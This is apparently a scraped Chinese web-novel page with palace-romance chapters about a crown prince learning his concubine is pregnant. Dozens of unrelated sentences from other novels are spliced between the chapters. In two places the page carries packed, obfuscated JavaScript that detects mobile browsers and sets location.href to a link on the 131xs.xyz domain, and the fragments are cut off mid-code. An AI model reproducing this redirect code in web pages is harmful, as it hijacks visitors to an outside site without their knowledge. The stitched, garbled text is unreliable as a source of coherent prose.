l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751339|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击,从而达到防御的目的。 这个要求柳芊羽没有拒绝,贴在叶宇的胸膛静静地添了几分安详。 “当然要进货,而且还要大批量进货。”瘸子开心地说道。他这个侄子终于也有开窍的时候,真是太难得了。 炮天明只能感叹:长江后浪拍死前浪。自己只是摸摸尸体,人家已经开始肢解寻找,不服气都不行。他的对手阳顶天已经回到堂上椅子上,默默看着堂下玩家的疯狂,并不出手。 正向思维,反向思维,这还真是新奇,虽然这件事到此为止还是没有明显的指向证据,但关镇海已经有些开始佩服齐浩的思维模式了。 “怎么会?!你不过是开阳层次而已,怎么可能伤的到我?”那老叟倒地之后,捂着胸口一阵惊讶。 陈林说道:“男人老狗不说虚的,昨天晚上确实想入非非了一段时间,不过还好,我懂一些δ脑波的调整方法。”礼尚往来,陈林也来一句粤省方言。 “好了,前进二十名已经难得了,还计较什么。”法门弟子院,一处厢房内,冯静安慰道,法门的弟子每人都有单独的院子。 第一卷 第69章 太子打了宋昭训(?!) “什么叫没什么关系,陈婉,你有本事再说一遍?”本来开玩笑的一句话,没想到会演变成这样,这丫头说的话像一把把刀子一样。 黑色羽翼之上,气雾弥漫,仿佛能够吞噬一切,但又散发出锋锐气息,令人动容。 幽风的手爪击在柳一凡的胸膛之上,就好像是一只鸡爪,打在一个铁板上那样。 炼制开始了,这些丹药师都是好手,手法非常纯属,无论是控火,还是选材,还是精炼样样都很完美。 “可恶,我要烧毁剑冢,我就不信出不去。”九婴将脚下的传送阵切底毁坏。本来阵法就没用,九婴还是将它彻底破坏。 “血浆四溅,骨头碎裂,呵呵,我爱这个。”温斯黛侧耳倾听片刻,语气没有起伏的笑了一声。 吃完饭,宋毅就接到了林依雪的电话,哭哭滴滴的,宋毅也没完全听清,但是他听到了陈婉就是林婉。 其中就包括张云帆在内,还有一男修,也是淬体三重,只是他们遭遇在一起的概率极低,也就意味着,他们遭遇到比自己境界高的对手的概率大大提升,最终被淘汰的几率也水涨船高,赢率几乎为零。 “德沃尔老头在研制机器人,可他的水平太低了,我们给他找点参照物送过去。”李千欢毫无戒心的答道。 黄昕彤所说的厂子就在她姑妈家和苏豪厂子中间,距离不是很远。 再回到前院,贾琪已经开始搜证了,从脚步,到血迹,都有做标注。看得出,他已经把一些不重要的,去除了。 惶恐之中,他猛然睁眼,模糊的视线多少还带着些迷离与涣散叠加而出的模糊不清,可是也足以是把眼前那一种难以言述的诡谲画面,赫然带入进自己的轩然而起的翻涌脑海中,若隐若现。 城里普通工人的工资才多少,二十块钱不要了,这给人一种穷大方的感觉。 恢复些许意识的男人,终于才感觉到了,自己此时的身体,正在颠簸着,摇晃着,趴在一头移动的黑虎背上,摇摇欲坠。 宗炎学院,仅是听名字,便知是宗炎国最好的学院,是宗炎国内无数年轻人都想去的地方。 红糖姜水冒着白白热气,浅抿一口,一股舒适暖意传遍全身,就连肚子都没有那么痛了。 但他们还是更加训练有素,立刻纷纷招呼队友,找掩体,继续抵抗。 老李心中自有积郁难以言说,沉闷片刻,才又是急急回头转身,却发现,此时自己的身前只剩下一片嶙峋的山石,哪里还是有什么‘孩童’的身影。 等他们班输给了黄一班,他倒要看看,这些人还会不会如此维护姜棠。 “这就好!”尼坤松了一口气,要是这样的,那就没有什么问题了。 灵儿似乎很害怕苏阳生气,立刻赶紧连连点头,然后朝后退一步,就凭空消失在原地。 当然,法尔孔绝对不会这么认为的,如果蒂诺佐坚定自己的立场是立,法尔孔很有可能把气撒到亨利身上。或许在场面上亨利能够安全立场,然而他以后的日绝不会好过。 一时间,呈封闭状态的冰洞中布满滚滚浓云,若是在外间,必是天地变色。 渐渐,动人的琴声响起,带着温和的节拍,一种由心而发的温情之音从琴音飘散出来,希娜将来到这里的感受通过那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751340|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮跃的旋律表达出来,对比自己曾经心的迷茫与最后的明悟,透过这些音律一点点释放开来。 两年后,深山中。天阴沉沉的不见一丝阳光,日头躲到了浓重的阴霾后不愿露面。风很大,刮起地上的黄尘和枯叶,初秋的山林开始萧索。 好几次花纤盈都涌起破开冰壁,携着邓宣离去的冲动,但一想到秘宗可怕的势力与封锁,又只能苦苦忍耐。 然后,监视李尔的人员大大缩减,几乎找不到。这使得李尔有种风雨欲来的感觉,但没想到来的是完全出乎意料的“风雨”。 说到这里,袁綝对他是无可奈何,连说他是耍无赖装可怜,这样其实是最好的办法,第三次北伐阵亡将官人数已经超过前两次的总和。 不等他说完话,顔少一拳祭出,直击刺猬头的下巴,拳头以灵力灌注,带着拳风,轰的一声将刺猬头击飞三米远,好半天都没爬起来。 刘天浩对何苗的待客之道一阵感慨,现在自己既没有功名又无声望,何苗自然是没有听说自己。这种情况下,想要登入何苗的大堂,那么唯一能够作为筹码的,就只能是金银财物。 但是下一秒异变突生,死去的团藏开始虚幻,突然出现在卡卡西进来的门口。 司机大叔这才反应过来,赶紧一脚油门,走到半路才意识到走错了方向,前方绿灯一个漂移,双脚轮流踩离合刹车,调转方向又从山崎海身旁擦肩而过。 “陛下!臣所言的的确确!太子真的阵亡了!而且是死在魏将满宠的手上,一箭穿心!”顾雍跪在地上仍然对孙权展开真实的语言攻击,他要把孙权内心的伪装一点点全部撕开。 第一卷 第70章 堂堂太子居然扯谎!荒谬! 空气凝滞,屋中静得厉害。 骆峋袖下的手指蜷了蜷。 稍顷。 他坐回榻上,抓起那只被他拍开的小手。 “疼?” 这不废话吗! 常年习武之人的手劲儿,谁能受得住? 反正槛儿受不住。 她现在就觉得左手火辣辣的,都快木了。 但太子的反应委实奇怪。 可能是没想到叶宁宁如此敏锐,塔灵一时想不到毫无破绽的解释,只能无言以对。 吃完了?凤玲珑不敢置信地看向轩辕元祖本来坐的地方,果然见到一个空空如也的干粮袋子。 再看向教会,那些牧师们身穿圣洁的白袍,但是路易斯却感觉这些白袍上染满了肮脏的血渍,永远洗不干净,“真是好恨!好不甘心……”这是他意识中的最后一个念头。 或许过了数十年,也可能上百年了,我再次醒来,这时,我发现我生活在一个巨大的村寨中。人们看见我醒了过来,立即一阵忙乱,已经没有了当初那个老族长在的时候的井然有序。 “砰”的一声炸响,炫目的印力光华猛地绽放,滚滚的烟尘荡漾而开,竟在一瞬间将两人全部遮蔽。 不久后,叶成河和谢娴菲下楼,眉头紧皱,部分是为了王宇来势汹汹的病情,另一方面自然是从王宇想到了叶瑞。 看到第二个儿子也被杀,黎初寒彻底疯了,手握大刀闪到东方凤菲面前对着东方凤菲一刀就重重挥下,神使七级的能量全部爆发,刀尖扫过的空间都出现了崩塌的裂痕。 驾驶舱这边或是有意或是无意的气氛放松了下来,唯更是直接准备降落,头等舱那边,兰和柯南之间的气氛却有点紧张。 至于杜擎淮说的什么人情,他从头到尾一个字都不信,如果没有足够好处,杜擎淮怎么会答应。 看到这么多的灵液,洛斯眼睛都绿了,一副恨不得飞上去抱走一坛子的样子。 眨眼间,距离杨秦联姻之日,也是愈发接近,不少收到贺帖的家族纷纷派出队伍,陆续进驻盘杨峡,其中有些人不全是为了庆祝,而是为了捣乱,譬如说混入杨铁威队伍的杨关以及凌少天。 万青就知道这货一定扑上去很多次了。不过它没有办法,所以只能在这里干巴巴的望着。 车子在一座宛若城堡的别墅前停下,门口,早已有佣人候着,看着与容北澜一同下车的苏嫦乐,纷纷一脸懵逼。 这部耗资两亿美元超级大片最近两天的意外逆跌,确实堪称诡异,让人不服不行。 几个口袋里都有红包,这几个货倒是厉害了,直接掏出来,对着拦门汉扔了过去,天下下红包雨了。李枫回头一看,差点一口浓血喷出来,有这么糟蹋红包的嘛。 一想到自己捉了这么些螃蟹,龙虾和鱼,足够一天吃的了,不吃了,这天气也不能长久储藏。索性当时捉当时吃,这不下午没事情做了,李枫打算搞了椅子。 只好关上门继续去睡,结果特么即将睡着的时候,许梦梦又来敲门了。 再有各村寨年货摊子更是增加三十多个,相对李家坡这边摊子撤销不少,只剩下二十来个,即使如此,整个村口摊喂还是将近百来个,好在村口足够大。 陆菲菲进入洗手间内,四处瞅了瞅,看到没人,立刻把剩下东西丢弃马桶里,冲走,动作一起呵成。 第一卷 第71章 太子莫非不行?! 睿王往软榻上一靠,衣襟半敞,露出大片不算结实却也并不文弱的胸膛。 那张俊秀的脸因为他此时的动作和漫不经心的表情,多了几分邪魅之感。 睿王妃的两个大丫鬟不经意从镜子看里到自家王爷,羞得俏脸通红。 睿王妃看在眼里。 仍旧是那副云淡风轻的笑脸。 这句谢谢,他说不说,傅立康不会听的进去。因为傅立康真想听他一句谢谢,在之前就会提前告诉他。而不是等现在一切尘埃落定,韩东也还没有得到过半点消息。 看到他对江年华紧张不已的态度,简直是新仇旧恨一同涌上了心头,在关烁兰的心里不亚于火上浇油,猛不丁的,她就想到了之初,难道严谨微当初婉拒她、一直很保密的所谓心爱之人就是江年华不成? 慕容凌现在急需机天帝的力量,只要机天帝苏醒,他就拥有了一名帝君级别的帮手,可以对抗大智。 她忙不忙韩东很了解,放着手底下最有潜力的新通源不管,自愿来到海城做一个没头没尾的项目,无条件的支持他。 在听到居然又是秦天辰坏了他们的谋划之后,煞魔尊者此刻对于秦天辰的恨意,已经彻底的达到了一个顶峰。 这个大山是被法律保护的了,这里有些动物是不能杀,有些植物不能动。 当然了,以他的妖孽天赋,若是一心进入圣殿,就算损失一些权势人物,圣殿也肯定不会计较。 融大圣抓住先机,朝着冰雅大圣出手,挥手便是先天神火大道,有着成千上万条火龙冲出,结成万龙焚天大阵,要将冰雅大圣击成重伤。 玉帝忍不住咳嗽了一声,指缝之间溢出来的鲜血尽皆都是毫无生机的黑色,弥漫着浓郁的恶臭。 安灵彤这种自私自利的人根本就不会理解温梓煊对莲心对家人的看重。在温梓煊看来,只要他的家人没有做出什么不可饶恕大错,那他们永远是他心里最重要的人,任何人都比不上,因为他们也是这样对待他的。 犹豫了一番之后,成濑澪的俏脸轻轻点了几下,旋即两人悄无声息的入侵无尘的家里。 放下这茬,唯一决定把自己的孕夫床先推荐给段闵瑄试用,哪知刚和他连上视频,就看见他和古鲁两人正贴在一起……额,这个貌似是单手扶椅的下蹲运动? 对于无尘,阿道夫k威兹曼其实也抱着戒备提防的心态,这家伙邪门强大不说,或许就如黄金之王说的那样,德累斯顿石盘是唯一克制他的东西,毁灭了所有人的力量都将消失,无尘也将沦为凡人。 说完,徐青墨视着梅浴凰的身体,目光灼灼,几乎烫伤梅浴凰的身子。 见状,无尘也不客气,一剑横扫而出,锋利的刀身直扑风早神人的脑袋而去。 她都忘记了她这样直呼皇上的名讳在这古代人看来是大不敬的行为,杀头都有可能,难怪娘都变脸色了。 作为备份资料,秦唯一的dna基因组谱图也将被工作人员收录进光脑系统。 徐青墨伸手将火蓝刀蛇的残躯扔开,然后拨开沙子,将红色的东西拿出来。 和当初的肖仁一样,柳尨被秦龙一脚踢到了前胸,倒在地上不省人事。 沈心怡也沒说什么。抬头看了一眼顾祎。转身看了看沒什么东西落下了。跟着顾祎出的门。出了门把门锁上了。 第一卷 第72章 有孕(1),太子的宠 太子自然是行的,槛儿上辈子经历了无数次,这辈子目前也没少受。 所以甭管郑明芷怎么在心里骂她,槛儿丝毫不慌,依旧该吃吃该喝喝。 又过了两天,还是没动静。 瑛姑姑和寒酥、跳珠不禁暗暗抱着一丝希望,想着可能真是日子太短了把不出来,三人便继续暗中观察。 然而出乎意料的是。 就在她们心里越发肯定,并为此偷乐的时候,槛儿迟了二十天的月事。 “幸好我以至阴珠,让晴晚成了一半的冷月阴体,不然,她多半已经死了。”凌仙轻轻叹息,心生歉疚。 哎,算了,帮就帮吧,先不管曹老爷子说的对不对,反正他在港岛待的时间也不多,被人当神经病也无所谓了。 张坤真的很想说一句,您老就真的只看中法拉利了?听说兰博基尼也挺好的。 再言及南雀公主临去之时,放言不肯善罢甘休,哀嚎声就变成了怒吼声,数万人在老将军灵前发誓,要踏平南雀国,杀光南蛮子。 之后,他一步踏进缝隙中,墙壁随之闭合,就这么离开了这间房间。 “我要是喝趴了你就把我抱回去吧。”冥落挤了挤眼睛,嘴角微挑。 “对不起?确实是我对不起她。在她病重的时候我却没能陪在她身边,甚至我是今天才知道她身故的消息。这样的我,还敢说是那个爱陶雅胜过生命的人吗。”彭艺博自嘲的笑着。 从夜囚献祭了鲜血破破解了龙首大刀的封印之后,十八层的结界也消失了,六位牌位上便一直不停的向外释放着一缕缕魂魄。 因为水月神君和波坦妲不一样,波坦妲是被海神殿逼走的,波坦妲已经没有路可走了。 杀了这个骷髅之后,张硕也不去管他掉落的宝箱,直接一个跳跃来到巴博萨的身前,挥刀劈去。对于不知道对方要害部位在哪里的他来说,劈砍哪个部位其实都一样。 钢骨·空感觉自己浑身的血液都往脑袋上涌,一对钢拳不停的颤抖。 球员们高呼着,尖叫着奔下了车,在路边早已经停靠了一辆敞篷的双层大号巴士。 在白色火球落下的同时,玛兰弗茵闭上眼,切断了与菲尼克斯的联系,任由她与火球一同坠向地面。 此时,钟离正守在杀魔门外,百无聊奈地看着那皎洁月光,正在发呆。 陆之道身居高位,对世界的法则要比他们了解的多。他对摧毁盘古卵一事有所顾忌,鬼差们虽然不都能够理解,却也因为对陆之道的信任而不敢轻言反对。 “好了,直接说出你的目的吧!我相信尼诺海军陆战队可以完成任何任务,只要雇主给出足够的报酬!没有我们不能干的!”阿巴迪说道。 由于已有先前两次的经历,袁绍已经不报任何希望,所以这次袁绍并没有问此人的姓名。 “不给,你能拿我怎样?”黑凤凰一脸不削地说道,显然对林天那赤红的双目避而不见。 甄捕头又把头探进床下,除了包袱里的一块绣着祥瑞缎庄的上等缎子,没有什么其他的物件了。 众人心中更是焦急,华夏接下来要怎么行动,就看他们的结果了。总之这些资源必须要获得,如果不够,哪怕明知山有虎,也必须朝虎山行。 “不用了,明天我跟邪灵过去就行,你们去找一个隐蔽点的地方,”陈浩轻轻的摇了摇头,对着苍龙说道。 “你……”那边的人何曾受过如此辱骂,本欲出手,却是被一些冷静的人拦住,长春宫,他们可是得罪不起。 第73章 有孕(2),宋昭训有妊娠之状! “怎么病得这么重了?” 调整好心绪。 郑明芷领着曹良媛和秦昭训进来向太子见了礼,状似关切地看着槛儿。 “我只听人说你身子不适,女医来诊过说是伤了暑,吃上几服药便能养好,哪知结果竟是病成了这样。” 说着话,她的眼里流露出几分自责。 像是在为自己没看顾好女眷而感到愧疚,实则是在借此间接告诉太子。 并非她没尽到责任,是下面的人传话不仔细,也有暗损槛儿不中用之嫌。 一个伤暑也能搞成这样。 槛儿稍稍直起身子。 恭顺道:“太医也说是伤了暑,没什么大碍,劳太子妃和二位姐姐费心了。” 曹良媛的目光从太子和槛儿交握的手上扫过,心里的酸意压都压不住。 倒也不是吃味儿。 就是不甘。 不甘她至今连触碰一下太子都要被斥责越矩,这个宋槛儿却能如此被太子呵护在怀,手还握得这么紧! 有必要? 一个奴婢,究竟有何可喜欢的? 曹良媛想不明白。 面上倒还是平时的爽朗模样。 “瞧瞧这小脸儿,瘦得都只二指宽了,叫人都不忍心看了,这样下去如何是好?听说还喝不进药?” 槛儿是有些清减,却也没有这么夸张。 二指宽的脸,那能叫脸? “那药苦得厉害,是有些犯恶心。” 槛儿无力地笑笑。 娇媚的眉眼自然流露出几分病弱,更显得她明明比郑明芷和曹良媛她们都丰腴,却分外柔弱堪怜。 曹良媛觉得此女当真是心机深沉,随时随地都不忘在太子跟前扮可怜。 她是绝对做不出这种事的! “不喝药怎么行呢?” 郑明芷挨着太子旁边的凳子坐下了,曹良媛就坐到了榻前和太子相对着,握住了槛儿的另一只手。 “良药苦口利于病,这伤暑啊可大可小,妹妹还是得想法子吃些药才行。” 秦昭训赶鸭子上架被叫过来探病,也是存了几分在太子跟前露脸的想法。 但进门看到太子抱着槛儿的样子,她就想扭头回去了,可惜不能。 这会儿郑明芷和曹良媛都说话了,她也只能板着脸,硬邦邦地附和:“畏苦三分,留病七分,药还是得吃。” 理是这么个理儿。 但槛儿真吃不下。 非但如此,光是听到药这个字她的腹中就一阵翻滚,有了想呕的迹象。 骆峋看到了,抬手将人按到怀里。 “散了吧,省得过了病气。” 他的语气一如既往的淡漠,然而拥着怀里人的动作却不是那么回事。 曹良媛还握着槛儿的手呢。 下一刻手里就空了。 后知后觉是太子把槛儿的手抽了回去,曹良媛的心情那叫一个复杂。 还省得将病气过给她们。 合则他堂堂太子就不用跟患病的妾室保持距离了?就不怕被过了病气? 三人心情复杂地离开了。 槛儿是真的难受,以至于一时疏忽,都没想到可能会把病气过给太子。 他每天那么多事要做,可不能病了。 于是郑明芷她们走后,她劝太子也走。 骆峋只叫她安心歇息。 槛儿没精力同他拗,便真睡了。 骆峋动作轻缓地将人放到榻上,陪着她躺了两三刻钟,直到确定槛儿暂时不会醒来,他才起身出了卧房。 “请莫问期来一趟。” 莫问期就是莫院判。 历来只替裴皇后和太子看诊,请平安脉,偶尔元隆帝那边需要也会叫他。 但太子既开了口,海顺自然不敢耽搁,当即让袁宝跑一趟太医院。 等莫院判来的这段时间,海顺又当着太子的面问了瑛姑姑不少问题。 其实就是替太子问的。 瑛姑姑答得很细致。 不仅连这个月槛儿的月事迟了二十天提了一嘴,还把她们误以为昭训主子有了身孕的事也说了。 这事海顺知道。 不过因为东宫的医官和太医都没提起这事儿,他也就只当白高兴一场。 倒是骆峋听闻此事,蹙了蹙眉。 两刻钟后。 莫院判气喘吁吁地来了。 骆峋没让人叫醒槛儿,亲自来到榻前将槛儿的手腕放到了脉枕上。 莫院判见状和海顺对个眼神。 心里约莫有了数。 遂专心替宋昭训诊起脉来。 然后这一诊,竟诊了足足一刻钟! 这期间莫院判的眉头越皱越紧,表情严肃得仿佛在看什么不治之症。 瑛姑姑和寒酥,跳珠腿都软了,心说不应该啊,伤暑的脉要诊这么久? 终于,莫院判收回手。 到了外面厅堂。 莫院判问了瑛姑姑几个问题后。 斟酌道:“宋昭训的脉沉细无力,确有几分伤暑之症,但以微臣来看,宋昭训现下情形却不全然为伤暑所致。” 骆峋:“此话怎讲?” “宋昭训,似有妊娠之状。” “妊娠?!” 跳珠轻呼。 很快反应过来自己的失态,她后背迅速冒起一层冷汗,赶忙跪下请罪。 骆峋示意莫院判继续。 莫院判就说:“宋昭训外在表现出的症状多数与妊娠初期常见反应一致,但问题在于其脉象沉细不显。” 海顺:“摸不出滑脉?” “极为不显。” 莫院判颔首解释。 “大多大夫,包括咱们宫里的太医一般都是通过滑脉来判定女子妊娠与否,但单靠这一点是极为片面的。 缘因女子妊娠后气血会凝聚于胞宫用以养胎,进而形成血盛气壅之状。 若孕妇自身气血充盈,素日脉道无滞,那么妊娠初期脉象便可能呈平稳之态。 若是早期妊娠的时间过短,单从脉象上看就更难判定是否妊娠了。” 海顺问:“既摸不准脉,你又如何判定宋昭训的症状是妊娠呢?” 莫院判摸摸胡子。 “寻常大夫摸不出,我嘛……” 海顺想说这人还真是一点儿也不谦虚,转念想他还真不是寻常大夫。 出身医药世家,祖上曾随太祖南征北战,为大靖开国立下过汗马功劳。 莫院判本人,在太医院任职之前曾花十五年时间游遍大江南北,编撰了被众多医者奉为至宝的医书典册。 瑛姑姑又喜又懵,几次欲言又止。 骆峋示意她说。 瑛姑姑恭敬道:“回殿下,主子五日前来过月事,若是妊娠那这月事……” 骆峋看向莫院判。 莫院判:“此乃激经,就是指妇人妊娠之初会来月事,为胎元不固所致。” “你有几成把握?”骆峋问。 换做寻常太医,这种几率问题,即便心中有数通常也不会把话说得太满。 皆因医学与疾病本身便极其复杂,在宫里当差又要时刻谨记为自己留退路。 故而太医们都不会把话说太满。 但莫院判历来行事与众不同,也不是盲目自信,就是他已经确定的事,是什么样他便会照什么样说。 所以面对太子的问题,莫院判认真道:“九成,再过上十来日就是十成。” 第74章 “你与孤,有孩子了。” “滑脉多在三个月后更为明显,宋昭训不足两月,又有伤暑之症,便易混淆。 待伤暑病愈再有十日,旁的太医亦能摸出一二。” 骆峋:“药食难咽,如何治?” 莫院判:“伤暑的口服药暂不要用了,微臣开个方子,取方中之药捣碎贴敷于微臣所说的穴位即可清热止呕。 至于吃的东西,微臣一会儿也列个单子,照单子所述小心调护即可。” 骆峋颔首。 “此事暂不要对外声张,宋昭训那边孤会告知。” 这话是对莫院判说的,也是对在场的海顺,瑛姑姑以及跳珠、寒酥说的。 海顺本来都激动得恨不得原地起飞了,眼看就要一个滑跪扑到太子跟前大喊几声“贺喜殿下”的话。 结果自家爷这么一交代。 海总管的脸憋得通红,好险一口气没上来。 瑛姑姑和寒酥、跳珠自然也激动,可太子都这么说了,她们也只好使劲把嘴角往下压,再往下压! 事情吩咐下去,都各忙各的。 骆峋悄声来到卧房。 槛儿这几日体温偏高,又不能用太多冰,这些天都是身边的人轮流打扇。 望晴见太子来了。 忙停下打扇,往床尾的位置挪了挪。 恍惚间感觉到风没了,槛儿蹙了蹙眉,把搭在腰间的薄毯往旁边掀。 却是刚动作就被按住了手。 同时风重新吹了起来。 伴随而来的还有一股熟悉,能让她安神的淡香,槛儿迷迷瞪瞪地睁眼。 男人俊美清冷的脸庞映入眼帘,风源自于他手中的那把金漆雕花折扇。 骆峋一手缓缓打着扇,一手拨开槛儿脸颊上的一缕发丝,静默地看着她。 确实清减了,原先面颊丰盈,白里透红,像一颗一戳即破皮流汁的蜜桃。 此时少了血色,比起蜜桃,便更像是一株被风雨摧残后的白玉兰。 两者的共同点是,都很美。 骆峋不在意很多事。 却也不得不承认当初答应由她来替郑氏承宠,有对她的样貌满意的因素在。 皇家人纳妾,自要将容貌条件包括在列,如此才能诞下外形可观的子嗣。 而给她昭训位份。 则的确有和郑氏较劲的成分在。 她胆小却聪慧,亦拎得清。 不叫人生厌。 所以即便知道她有时的言行是做戏,骆峋也权当不知,愿意配合。 如今看着她日渐褪去青涩的眉眼,想到她的腹中孕育了他们的孩子。 骆峋心里再次升起了一股难言之感,说不清,能确定的是他不讨厌。 只不过他对孩子无感。 做不到像别人那般,听说家中妻妾有了身孕便喜不自胜,以即将当爹为荣。 但他能保证。 他会做一个称职的父亲。 做一个,爱护孩子母亲的丈夫。 “殿下这么看着妾身做什么?”见男人目不转睛地盯着自己,槛儿忍不住问。 骆峋屈指碰碰她的脸。 又摸摸她的眉梢,声音低低冷冷的。 “你与孤,有孩子了。” 望晴在太子上了榻时就被瑛姑姑支了出去,现下屋中只有槛儿和太子。 拔步床两侧的落地灯发出两声微不可闻的“噼啪”声,灯罩内烛光微微晃动。 转瞬间又趋于平静。 床围两侧挂起的纱帐倒因为太子手中折扇的扇动,一直轻轻摇晃着。 槛儿抿抿唇,想克制住唇角的弧度。 可惜她越想矜持,嘴角就翘得越高。 没错。 端午那晚,太子正式许诺同意她自己养孩子时槛儿便把该哭的都哭过了。 此时听到这个好消息。 她心里除了高兴,还是高兴! 骆峋看着她乌黑明亮带笑的眼和不受控制翘起的唇角,嘴角也跟着翘了翘。 他生得俊,平时冷着脸显得气势逼人,一旦笑起来便若旭日初升,轩然霞举。 好在,槛儿对太子的俊已经极为熟悉,不至于在这时候被他一个笑迷花了眼。 两人就这么对视着,笑着。 笑着笑着,槛儿猛地想起。 “之前不是诊过两回都说是伤暑吗?怎么……不对,妾身才来过月事啊。” 上辈子她怀曜哥儿和两个小的时,都是以月事是否延迟为判断依据。 也没什么太大的反应,前期稍微吐了几天。 后面就能吃能睡了。 郑氏刚开始在她怀曜哥儿时还为此讥了她几句,大致意思就是她不愧是当奴才的,身子糙贱,经折腾。 骆峋只当她为月事疑惑,于是便将莫院判的话一字不漏地转述给她听。 槛儿明白了。 总归就是这辈子情况有变,女子妊娠初期也可能因为胎元不稳来月事。 槛儿摸到自己平平软软的小腹,不确定道:“胎元不稳,那孩子现在……” 骆峋隔着她的手在她小腹上摸了摸,道:“莫院判没有提出来,说明胎儿无碍,现下要做的便是治好你的伤暑。” 槛儿轻吁一口气。 随即又听太子说:“暂无需到嘉荣堂报喜,你好生养身子,接下来两个月的请安便免了,太子妃那边孤会告知。” 事情他都安排好了。 槛儿就没多此一举地问这样做会不会不合规矩,横竖不用她去跟郑氏说。 这辈子的头一胎,槛儿在高兴之余还是装不懂地问了太子好些问题。 譬如她在有孕期间饮食上有哪些禁忌,平时起居劳逸上应注意什么。 又譬如她是不是从现在开始可以给小宝宝做衣裳鞋袜什么的。 有关孕期注意事项,莫院判不久前列了单子,骆峋扫了一遍便都记下了。 见她难得有了精神,他也就耐着性子一一作答,至于给小孩做衣裳鞋袜。 骆峋道:“无需你动手,东宫绣房与广储司会张罗,你若实在想做,等身子好了可偶尔缝上几针,以不伤眼为首要。” 他说得轻描淡写。 但每一条都答得很细致。 槛儿听得出来,他对这个孩子是看中的。 不过也是。 前世这时候的太子对任何人都冷淡,唯独对待曜哥儿,他总会格外耐心。 大抵因为是第一个孩子吧。 自打有了曜哥儿,他每日都会去嘉荣堂,晚上大多时候也都会在那边留宿,甚至偶尔白日晌午都会过去用膳。 为此,后宅形成了郑氏一家独大的局面。 不过在那之前,她在嘉荣堂偏殿养胎的那大半年和她坐月子的那两个月里,太子一次也没在嘉荣堂留宿。 直到她搬离。 槛儿想。 那时他大概是真不喜她吧。 有她在,他便不在嘉荣堂过夜,估计是为了防她半夜爬床或是勾引他。 幸好。 自己那时没奢求过他的宠爱。 也幸好他待孩子是好的。 若不然上辈子她真是宁死也懒得伺候,更别说这辈子还跟他亲亲热热地做那事。 见槛儿听着听着便盯着他走起了神,骆峋捏捏她的手指,问:“想什么?” 槛儿收起思绪,随口扯了个谎:“妾在想,妾身接下来晚上不能伺候殿下了……” 话音未落。 槛儿意识到这话有那么一点儿越矩,在有心人听来或许会觉得她在幽怨什么。 怀着皇嗣呢。 多少人求都求不来,她还敢幽怨? 不想太子误会,槛儿说完那句话后握住他的手指,撒娇般放软了声音。 “妾身不能侍寝,殿下还会来看妾身吗?” 第一卷 第75章 “殿下是要宠妾灭妻吗?!” 骆峋并没有误会。 后宫的女子有了身孕不能侍寝,这是规矩,她们会为此担心失宠也乃常情。 骆峋还不至于因为小昭训一句合情合理的话,便误会她有旁的意思。 谨慎成这样。 难道他在她眼里,是如此易暴易怒之人? “安心养好身子,孤有时间自会来看你,”回握了她一下,骆峋语气淡然道。 就连【谷漫】这个牧师,在她的那个什么朋友的帮忙下,居然跟他一样也在15级了。 还有大楚仙国虽然被他们挖墙脚,搞来了六千架巨弩,肯定不会是全都,肯定不会太好对付。 这二十天的时间里,他们将自己分到的这条路线全都搜索了一遍,将沿途见到的猎妖树全都采挖了出来。 鳞片触感初始觉得十分坚硬,但触动之后又非常柔滑,并且有弹性,摸在手心里,有些微疼,但却又不刺痛,感觉十分舒适。 后世的考古学家把他挖出来,然后信息上写:林枫,终身停留着一品的音修者。 哪怕它强大到整个世界都没有对手,即使它足以强迫任何敌对势力敢怒不敢言。 可是,若不从速服下,立刻结成金丹,就可能影响到洪荒的徐吉斩尸。 看望过林枫之后,众人一个个散去,一个矮胖的老头一瘸一拐走上前来。 “今天是个什么日子,怎么老熟人都出现了?”陈炜心中惊疑不定。 吴岩特地跑到大厅看了下其他玩家的情况,大部分都是愁眉苦脸的。 这种感悟本就是昙花一现,然而,王元所炼制之中,让他感觉到这种感悟绝对不是一次两次,就是满山也不知道自己感悟到了几次。 慕祈一脸的杀意,慕氏和容氏的开战,没法避免,一路走来,都能看到容氏和慕氏的相互惨斗,因为夫妻的不和,导致两个家族互相征战。 云晓在末世前退役之后,便转职做了杀手。来到末世之后,觉醒了异能,他杀人的本事也就更加出神入化了。 一顿饭在龙天父母得父母频频给燕芸芸得夹菜中度过,出了饭燕芸芸帮龙天得母亲在厨房收拾碗筷。 我的这一番话说完,说不停和吃不饱两兄弟愣愣的看着我。那种看怪物的眼生让我后背都毛毛的。 “这家伙就这么回来了,比赛怎么办?”在无数的欢呼与喝彩声中唐尘回到了演武台上,有人很纳闷:裁判还没宣布胜负呢他就回来了,万一被判负怎么办? 剧烈的痛感传来,让他眼前一黑,意识开始模糊起来,强风穿过伤口,更添一丝痛楚。 “我知道,那是留给‘他’轮回转生所用!”他不敢提及他的名字,冥冥之中有人聆听,这样的大人物能够感应得到。 “好!”慕容风听闻此话,他根本就没有任何的犹豫,他直接便答应了下来。 本就在许墨思索不通的时候,一句话语浮现自他的内心,就好像本来就存在于他的内心之中。 林影静静的现在高台之上看着,看着下面一个个离开的身影,有年少,有年老,稀稀拉拉,一刻钟后,留在广场之上的大约还剩下了两千五百余人,这些人,倒是个个眼神坚定,林影释然一笑。 与这个军事基地的格局不符合的是,在卫慧心中那种一排专家坐在下面,自己在台上接受这些专家们诘难的大场面始终没有看到。 第一卷 第76章 太子不在乎宋昭训为奴为婢(?) 坤和宫。 知道儿子儿媳要来陪自己用早膳,裴皇后早早打发了来请安的妃嫔们。 骆峋与郑明芷来了请过安。 便随裴皇后一道进了膳厅。 儿子话少,和他聊天都是一板一眼的,裴皇后也没在席间和他多说什么。 陆放笑着跟许意岚解释着这件事情,这件事情确实是陆放做的不对,但是他的出发点是好的。 